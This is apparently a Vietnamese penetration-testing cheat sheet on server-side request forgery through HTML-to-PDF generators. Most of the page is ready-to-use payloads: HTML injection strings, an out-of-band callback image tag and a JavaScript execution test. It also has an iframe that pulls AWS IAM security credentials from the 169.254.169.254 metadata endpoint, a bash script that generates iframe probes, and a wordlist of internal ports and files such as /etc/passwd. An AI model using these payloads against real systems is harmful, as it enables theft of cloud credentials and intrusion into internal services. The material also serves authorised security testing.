Attack Vectors
Một số attack vectors có thể tấn công bằng cách sử dụng SSRF thông qua việc tạo file PDF:
- IMDS: là metadata của các cloud services chẳng hạn như AWS.
- PDF generator: bản thân generator cũng có thể có lỗ hổng.
- Host/Service Discovery: các internal services.
Payloads
HTML Context
Một số payload để test xem ta có thể inject vào các context của HTML :
<h1>Big Header</h1><h5>Small Header</h5>: giữa 2 HTML tags.'/><h1>Big Apostrophe</h1><h5>Little Apostrophe</h5>: dấu nháy đơn."/><h1>Big Quotation Mark</h1><h5>Little Quotation Mark</h5>: dấu nháy kép.
Out-Of-Band Connection
Để trigger out-of-band connection:
<img src="{{URL_IMAGE_OR_BURP_COLLABORATOR}}"></img>JavaScript Execution
Để kiểm tra xem có thể thực thi JavaScript hay không:
">
<body id="body">
<script>
jsImg = new Image()
jsImg.src = "https://www.blackhillsinfosec.com/wp-content/uploads/2016/03/BHIS-logo-L.png"
document.getElementById("body").appendChild(jsImg)
</script>
</body>IMDS (International Material Data System)
Để truy xuất metadata của cloud services:
"><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials></iframe>PDF Generator
Kiểm tra loại PDF generator và version của nó nhằm khai thác một lỗ hổng liên quan đến chỉnh bản thân PDF generator:

Host/Service Discovery
Tạo payload để discover các internal services khác sử dụng bash script:
HDR_OPEN='<h1>'
HDR_CLOSE='</h1>'
CRADLE_OPEN="<iframe src='"
CRADLE_CLOSE="' width='1000' height='1000'></iframe>"
make_payload () {
printf $HDR_OPEN$1$HDR_CLOSE$CRADLE_OPEN$1$CRADLE_CLOSE
}
for target in `cat SSRF_targets.lst`; do make_payload $target; doneVới wordlist từ PayloadAllTheThings:
http://169.254.169.254/latest/
http://169.254.169.254.xip.io/
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22
file:///etc/passwd
file://Windows/win.ini